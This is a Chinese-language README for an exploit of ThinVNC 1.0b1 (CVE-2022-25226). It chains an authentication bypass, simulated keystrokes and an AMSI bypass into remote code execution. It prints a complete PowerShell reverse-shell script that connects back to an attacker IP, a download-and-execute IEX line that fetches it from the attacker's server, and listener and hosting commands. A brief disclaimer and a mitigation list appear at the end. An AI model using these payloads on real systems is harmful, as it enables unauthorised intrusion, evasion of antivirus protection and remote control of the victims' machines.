ThinVNC 1.0b1 - 认证绕过致远程代码执行 (CVE-2022-25226)

作者: krill-x7
参考: https://fluidattacks.com/advisories/sinatra

概述

ThinVNC 1.0b1 包含一个认证绕过漏洞（CVE-2022-25226），允许远程攻击者未经认证与后端交互。通过利用暴露的 /cmd 端点，攻击者可以模拟按键、打开 PowerShell、绕过 AMSI 并执行任意命令——最终导致远程代码执行（RCE）。

此脚本将这些原语串联起来，以在目标系统上获得一个反向 shell。

免责声明

此代码仅用于教育目的。
请仅在您拥有或明确授权测试的系统上使用。

要求

• Python 3
• 托管在攻击者机器上的 rev.ps1 反向 shell 脚本
• 一个监听器（例如 Netcat）用于接收 shell

用法

python3 thinvnc_rce.py -t <目标IP> -tp <目标端口> -a <攻击者IP> -ap <攻击者端口>

示例

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

Payload 设置

1. 创建 rev.ps1

将此内容保存到一个名为 rev.ps1 的文件中。
重要： 将 192.168.1.200 和 8000 替换为你的攻击者 IP 和监听端口。

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. 托管 rev.ps1

在同一目录下运行：

python3 -m http.server 8000

3. 启动一个监听器

nc -lvnp 8000

利用工作流程

1. 通过未认证的请求到 /cmd?cmd=connect 获取一个有效的 SID。
2. 通过 /cmd?cmd=start 以键盘/鼠标访问方式启动该 SID。
3. 发送 Ctrl+Esc 组合键以打开开始菜单。
4. 以绕过模式启动 PowerShell。
5. 绕过 AMSI 以禁用 PowerShell 保护。
6. 从你的 HTTP 服务器执行反向 shell payload。

Payload 执行

这是在内存中执行的 payload：

IEX((New-Object System.Net.WebClient).DownloadString('http://<攻击者IP>:<端口>/rev.ps1'))

将 <攻击者IP> 和 <端口> 替换为你的实际 IP 和端口。

备注

• Payload 通过基于剪贴板的命令注入执行。
• 包含 AMSI 绕过以规避基于 PowerShell 的 AV 检测。
• ThinVNC 以默认用户权限运行 PowerShell——如果以管理员身份运行，则 shell 权限提升。

缓解措施

• 不要将 ThinVNC 暴露到互联网。
• 通过 Web 服务器配置或 WAF 阻止 /cmd 端点。
• 切换到受支持的、安全的替代方案（例如 Apache Guacamole）。
• 监控 PowerShell 使用情况和剪贴板注入行为。

致谢

• 漏洞利用与自动化：krill-x7
• 漏洞发现与公告：Fluid Attacks – Advisory Sinatra